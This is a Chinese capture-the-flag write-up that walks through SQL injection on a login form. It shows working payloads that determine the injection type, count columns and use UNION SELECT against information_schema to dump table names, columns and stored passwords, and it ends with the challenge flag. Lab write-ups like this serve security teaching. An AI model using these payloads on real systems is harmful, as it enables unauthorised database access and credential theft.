题目环境:
判断注入类型
是否为数字型注入
admin
1
回显结果
否
是否为字符型注入
admin
1'
回显结果
是
判断注入手法类型
使用堆叠注入
采用密码参数进行注入
爆数据库
1'; show database();#
回显结果
这里猜测注入语句某字段被过滤,或者是';'被过滤导致不能堆叠注入
爆字段数
1';order by 4#
回显结果
报错
抛弃堆叠注入
步入正题
1' order by 4#
回显结果
成功,但是不存在第4列
同时验证了猜想不能使用堆叠注入
继续判断列数
1' order by 3#
可知列数只有3列
爆数据库
使用联合查询
1' union select 1,2,database()#
爆数据表
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
回显结果
爆出两个表
开始爆数据表的字段
按照先后顺序把,先爆第一个
爆geekuser数据表的字段
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
回显结果
字段:id、username、password
爆geekuser数据表的所有内容
1' union select 1,database(),group_concat(id,username,password) from geekuser#
回显结果
无flag
转手数据表l0ve1ysq1
步骤和数据表geekuser一样,这里直接爆数据表l0ve1ysq1的flag值
1' union select 1,database(),group_concat(password) from l0ve1ysq1#
回显结果
得出flag:
flag{3c4b1ff9-6685-4dcb-853e-06093c1e4040}